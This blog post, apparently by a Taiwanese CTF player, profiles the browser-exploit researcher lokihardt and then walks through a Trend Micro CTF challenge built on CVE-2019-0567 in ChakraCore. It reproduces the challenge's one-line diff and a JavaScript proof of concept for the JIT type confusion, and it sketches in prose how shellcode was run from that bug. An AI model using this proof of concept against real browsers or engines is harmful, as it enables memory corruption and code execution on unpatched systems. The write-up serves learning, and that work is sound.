近年來台灣媒體常常在吹捧天才駭客,但真正在 CTF 圈內公認的天才駭客只有兩個,一個是之前介紹過的 geohot
,另一個就是今天要介紹的 lokihardt
,當然除了上述兩者以外,還有一些強者比較低調,像是之前曾經以攻破 Chrome 聞名的 Pinkie Pie
,但因為某些因素只能匿名,後來就沒有被媒體持續報導 XD (迷之音: 天才駭客沒有 Orange? Orange 是傳奇滲透師 !)
要聊 lokihardt 之前,必須先知道 Pwn2Own 這個比賽,如果說 DEF CON CTF 是 CTFer 的最高榮譽,那 Pwn2Own 就是所有白帽駭客的至高殿堂,比起 CTF 是設計過的漏洞題目,Pwn2Own 是要真槍實彈的破解 real world 的產品,挖掘漏洞和利用的難度更上一個層次
但既然 Pwn2Own 是挖掘真實漏洞的產品,就不是像 CTF 一樣讓參賽者到比賽會場才開始找漏洞,hacker 可以以合法手段取得產品,透過逆向工程或原始碼分析,在比賽前事先挖掘漏洞,到 Pwn2Own 會場就只是 demo 成果而已,一般來說都是以團隊為單位花整年的研究產品,找到一個或多個問題之後,再合作將各自挖掘到的漏洞交互利用形成完整的 exploit (但同時產品也有可能不斷修補漏洞,因此也要保佑在比賽前產品不會更新把漏洞修正...XD)
Pwn2Own 最早舉辦於 2007 年,一開始產品是針對 Apple 底下的軟體,像是: Quicktime, Safar,後來項目逐漸增加,像是 Adobe 產品、BlackberryOS 和各大瀏覽器,其中以瀏覽器的 exploit 最受眾人矚目,近幾年也跟上虛擬化的趨勢,加入了 VMWare 等軟體
lokihardt 第一次在世人眼中出現就是在 2015 年的 Pwn2Own 上,以個人參加的身分,攻破了當時瀏覽器三本柱:IE11, Chrome 和 Safari,創下了 Pwn2Own 歷史以來最佳成績,直至今日 Pwn2Own 還沒有再次三大瀏覽器同時被攻陷的紀錄,隔年 lokihardt 再次參賽,攻陷隔年微軟新推出 Edge,獲得當年最高獎金,不過總積分輸給騰訊的安全團隊 Sniper
lokihardt 也有參加 2016 年舉辦的 Pwnfest,Pwnfest 是跟 Pwn2Own 的性質類似的競賽,lokihardt 在現場攻破了 Edge 和 VMWare,獲得 29w 鎂的獎金,該場比賽是 VMWare 首次被攻破 (同年的 Pwn2Own VMWare 成功不被攻陷)
2015 年的 DEF CON 25 Final 是 DEFKOR 奪冠的一年,也是唯一一次 geohot 和 lokihardt 有在 CTF 比賽中正面交手過的一次,當時 geohot 第一天沒有來現場,而 DEFKOR 已經 firstblood 一道題目 rxc
通殺全場,取得大幅優勢,但晚上加入戰局後也協助 PPP 解掉了 rxc
,然後 geohot 震驚自己做了一個晚上,lokihardt 竟然用四小時就解掉了......
後來 lokihardt 就被 Google Project Zero 給招安 (?),成為裡面的頂尖研究員之一,最近就比較少他的消息了 QQ 只能偶爾從 Project Zero 揭露出來的新問題,看到是 lokihardt 的成果 XD
最後不得不提一件事,看到 lokihardt 之後,真的了解什麼叫做 "明明可以靠臉吃飯,卻偏要靠才華" .......之前看 *<親愛的,熱愛的>*相關討論,有人在知乎吐槽說搞資訊安全的才不會長這麼帥,那是因為沒見過 lokihardt 吧......XDD 附上 lokihardt 在 pwnfest 的照片:
哪一場國際 CTF 賽事辦的最好,這個會根據解題的愛好不同而各自有支持者,但要說哪一場的題目最爛......,Trend Micro CTF 應該是公認的第一名 XD 但偏偏背後的獎金又很吸引人,加上背後有 ZDI 的背景,因此還是吸引不少人參加,今天介紹的這題是今年相對比較有趣,比較不猜謎的一題......
這題的題目給了一個網站,敘述很明確,就是說網站背後會拿我們送的 javascript 丟到 js engine ChakraCore 跑,要我們想辦法 pwn 掉他,題目隨附檔給了一個 diff,裡面只更動一行,把 InitProto
的 opcode 給註解了
diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 88bf72d32..6fcb61151 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -564,7 +564,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
break;
case Js::OpCode::InitClass:
- case Js::OpCode::InitProto:
+ //case Js::OpCode::InitProto:
case Js::OpCode::NewScObjectNoCtor:
case Js::OpCode::NewScObjectNoCtorFull:
if (inGlobOpt)
經過 google 大神幫助後,發現這是由 lokihardt 所發現的 CVE-2019-0567,漏掉處理 InitProto
將會導致在跑 JIT code 時發生 type confusion 的問題,可以從下列的 POC 了解 root cause
function opt(o, c, value) {
o.b = 1;
class A extends c { // may transition the object
}
o.a = value; // overwrite slot array pointer
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o; // causes "class A extends c" to transition the object type
opt(o, cons, 0x1234);
print(o.a); // access the slot array pointer resulting in a crash
}
main();
不過在比賽時其實沒有心思去了解到底 root cause 是什麼,只知道這是一個很 powerful 任意讀寫漏洞,由於題目給的 binary 沒有 DEP 保護,我們可以直接把 shellcode 放在 Uint32Array
中,再修改原本的 POC 讓 control flow 跳到我們 allocate 出來的 shellcode 區段即可
Type confusion 的漏洞真的不好發現,即使有 POC 可以參考我還是研究了一陣子才理解原因,詳細的分析可以參考這篇 blog: https://perception-point.io/resources/research/cve-2019-0539-exploitation/